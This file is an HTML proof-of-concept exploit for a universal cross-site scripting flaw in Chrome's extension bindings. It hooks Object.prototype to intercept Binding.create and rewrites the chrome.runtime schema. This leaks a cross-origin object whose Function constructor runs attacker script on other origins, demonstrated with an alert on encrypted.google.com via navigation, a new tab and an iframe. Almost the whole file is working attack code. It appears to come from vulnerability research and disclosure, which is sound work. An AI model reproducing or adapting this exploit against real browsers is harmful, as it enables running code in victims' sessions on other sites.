exploit2.html

<script>
    function mutateSchema(schema) {
        var $Object = schema.constructor;
        var $Function = $Object.constructor;
        // If this assumption does not hold, then we have to do a bit more trickery with getters
        // so that the availability check in binding.js (addProperties) passes.
        console.assert('lastError' in schema.properties, 'Assuming that schema is runtime, and runtime.lastError is defined');
        // Any code in this Function runs in the singleton execution environment that persists across page loads.
        $Function('schema_dot_properties', `
            // This must be a property that passes GetAvailability(schema.namespace + "." + propertyName).
            // Luckily, we can recursively the same property name because the namespace is concatenated
            // with the property name, not the full object path.
            // So we can have something like runtime.lastError.lastError :)
            const WHITELISTED_PROP = 'lastError';
            schema_dot_properties[WHITELISTED_PROP] = {
                type: 'object',
                // This activates the branch that ultimately leaks an object from the page to our script.
                // We can then steal the Function constructor from that object and then run arbitrary code
                // through that.
                properties: {
                    [WHITELISTED_PROP]: {
                        $ref: 'StorageArea',
                        value: [],
                    },
                },
                get value() {
                    // Create a new one upon access to make sure that every page gets a
                    // new instance of the interceptor.
                    return new Proxy({}, {
                        set(target, propname, value, receiver) {
                            target[propname] = value;
                            if (propname === WHITELISTED_PROP && typeof value === 'object' && value !== null) {
                                // Yay, we now got a (possibly) cross-origin object.
                                var $$Function = value.constructor.constructor;
                                $$Function('alert("Hello " + document.URL + "  in " + navigator.userAgent)')();
                            }
                            return true;
                        },
                    });
                },
            };
            `)(schema.properties);
        schema.types.unshift({
            id: 'StorageArea',
            type: 'object',
            js_module: 'StorageArea',
            functions: [],
        });
        console.log('Overwritten scheme.');
    }

    // Call this function to leak the module.
    function triggerSchemaModification() {
        // Once per page because the exploit hooks on the lazy initialization of chrome.runtime,
        // and after initializing it, it won't trigger again.
        if (triggerSchemaModification.runOncePerPageLoad)
            return;
        triggerSchemaModification.runOncePerPageLoad = true;
        var hooked = false;
        var intercepted = false;
        var runtimeintercepted = false;
        var alreadyintercepted = false;

        // Intercepting the creation of this:
        //
        // Binding.create = function(apiName) {
        //   return new Binding(apiName);
        // };
        Object.defineProperty(Object.prototype, 'create', {
            configurable: true,
            get() {
                // no value by default.
            },
            set(Binding_create) {
                if (typeof this !== 'function' ||
                    typeof Binding_create !== 'function' ||
                    !this.toString().includes('customHooks_')) {
                    // Not Binding.create, transparently create the property.
                    Object.defineProperty(this, 'create', {
                        configurable: true,
                        enumerable: true,
                        value: Binding_create,
                    });
                    return;
                }

                hooked = true;
                Object.defineProperties(this, {
                    create: {
                        enumerable: true,
                        value: function FakeBinding(apiName) {
                            var binding = Binding_create(apiName);
                            var runHooks_ = binding.runHooks_;
                            // This is our evil stuff. The runHooks_ method gets a reference to the schema.
                            binding.runHooks_ = function (mod, schema) {
                                intercepted = true;
                                if (!schema) {
                                    // For Chrome 49-.
                                    schema = this.schema_;
                                }
                                if (schema.namespace === 'runtime' && schema.types) {
                                    runtimeintercepted = true;
                                    if (schema.types[0].id === 'StorageArea') {
                                        console.log('Warning: Schema was already modified.');
                                        alreadyintercepted = true;
                                    } else {
                                        console.log('Trying to overwrite scheme...');
                                        mutateSchema(schema);
                                    }
                                }
                                return runHooks_.call(this, mod, schema);
                            };
                            return binding;
                        },
                    },
                });
            },
        });

        // Trigger the lazy module system.
        chrome.runtime;
        if (alreadyintercepted)
            return;  // This is fine, no need to check assertions.
        console.assert(hooked, 'hook should have been set up.');
        console.assert(intercepted, 'hook should have been called.');
        console.assert(runtimeintercepted, 'hook should have been called for the runtime schema');
    }

    function showUXSSAfterNavigation() {
        triggerSchemaModification();
        location.href = 'https://encrypted.google.com';
    }

    function showUXSSInNewTab() {
        triggerSchemaModification();
        window.open('https://encrypted.google.com');
    }

    function showUXSSInFrame() {
        triggerSchemaModification();
        var f = document.createElement('iframe');
        // Using data URLs in case google uses X-Frame-Options.
        f.src = 'data:text/html,<script>chrome.runtime;<\/script>data-URLs have a unique origin';
        document.body.appendChild(f);
    }
</script> The UXSS vulnerability persists until the current RenderThread is destroyed (e.g. by a process swap).
<br>
<button onclick="showUXSSAfterNavigation()">Show UXSS after navigation</button>
<button onclick="showUXSSInNewTab()">Show UXSS in new tab</button>
<button onclick="showUXSSInFrame()">Show UXSS in frame</button>